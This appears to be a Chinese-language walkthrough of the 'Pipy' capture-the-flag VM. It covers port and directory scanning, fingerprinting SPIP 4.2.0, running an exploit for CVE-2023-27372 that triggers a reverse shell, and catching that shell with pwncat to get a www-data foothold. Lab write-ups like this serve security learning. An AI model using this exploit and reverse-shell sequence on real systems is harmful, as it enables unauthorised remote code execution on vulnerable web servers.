Pipy
备注
[Linux VM] [Tested on VirtualBox] created by || ruycr4ft
⏲️ Release Date // 2023-10-18
✔️ MD5 // ed365ef516cedb5549dfcc84c84d3fd7
☠ Root // 68
💀 User // 72
📝Notes // Really easy box to learn very recent privesc :D
靶机启动
靶机 IP:
192.168.56.120
nmap 信息搜集
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 c0:f6:a1:6a:53:72:be:8d:c2:34:11:e7:e4:9c:94:75 (ECDSA)
|_ 256 32:1c:f5:df:16:c7:c1:99:2c:d6:26:93:5a:43:57:59 (ED25519)
80/tcp open http Apache httpd 2.4.52 ((Ubuntu))
|_http-server-header: Apache/2.4.52 (Ubuntu)
|_http-title: Mi sitio SPIP
|_http-generator: SPIP 4.2.0
MAC Address: 08:00:27:6A:EE:5B (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.8
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
探测 web 服务
执行目录探测
[20:42:03] 200 - 7KB - /CHANGELOG.md
[20:42:04] 200 - 34KB - /LICENSE
[20:42:04] 200 - 842B - /README.md
[20:42:14] 200 - 2KB - /composer.json
[20:42:14] 200 - 27KB - /composer.lock
[20:42:14] 301 - 317B - /config -> http://192.168.56.120/config/
[20:42:15] 200 - 2KB - /config/
[20:42:20] 200 - 4KB - /htaccess.txt
[20:42:21] 200 - 7KB - /index.php
[20:42:21] 200 - 7KB - /index.php/login/
[20:42:22] 301 - 321B - /javascript -> http://192.168.56.120/javascript/
[20:42:23] 301 - 316B - /local -> http://192.168.56.120/local/
[20:42:23] 200 - 2KB - /local/
[20:42:36] 200 - 3KB - /tmp/
[20:42:37] 200 - 1KB - /tmp/sessions/
[20:42:38] 200 - 0B - /vendor/composer/autoload_psr4.php
[20:42:38] 200 - 2KB - /vendor/
[20:42:38] 200 - 0B - /vendor/autoload.php
[20:42:38] 200 - 0B - /vendor/composer/autoload_classmap.php
[20:42:38] 200 - 0B - /vendor/composer/autoload_files.php
[20:42:38] 200 - 0B - /vendor/composer/autoload_real.php
[20:42:38] 200 - 0B - /vendor/composer/autoload_static.php
[20:42:38] 200 - 0B - /vendor/composer/autoload_namespaces.php
[20:42:38] 200 - 0B - /vendor/composer/ClassLoader.php
[20:42:38] 200 - 15KB - /vendor/composer/installed.json
[20:42:38] 200 - 1KB - /vendor/composer/LICENSE
根据目录扫描以及 README 文件内的信息,可以确定是 SPIP 框架
根据浏览器插件以及服务端指纹的识别,可以确定为 SPIP 4.2.0
根据相关信息,定位到这个 expSPIP v4.2.0 - Remote Code Execution (Unauthenticated) - exploit-db
尝试进行利用
(env) ┌─[randark@parrot]─[~/exps]
└──╼ $python3 CVE-2023-27372.py -u http://192.168.56.120/ -v -c "bash reverse.sh"
[+] Anti-CSRF token found : iYe2q77AjJpzr7DiCN466DffCNPeUp0xMFqKM8HZ2jA5IWNjp6Vhzoioj1CV4d/wM8wzPYKIJAYCiLEY+fBNfgPHcNshG3+b
┌─[randark@parrot]─[~]
└──╼ $pwncat-cs -lp 9999
[21:35:48] Welcome to pwncat 🐈! __main__.py:164
[21:35:52] received connection from 192.168.56.120:49260 bind.py:84
[21:35:52] 192.168.56.120:49260: registered new host w/ db manager.py:957
(local) pwncat$ back
(remote) www-data@pipy:/var/www/html$ whoami
www-data
获得初步立足点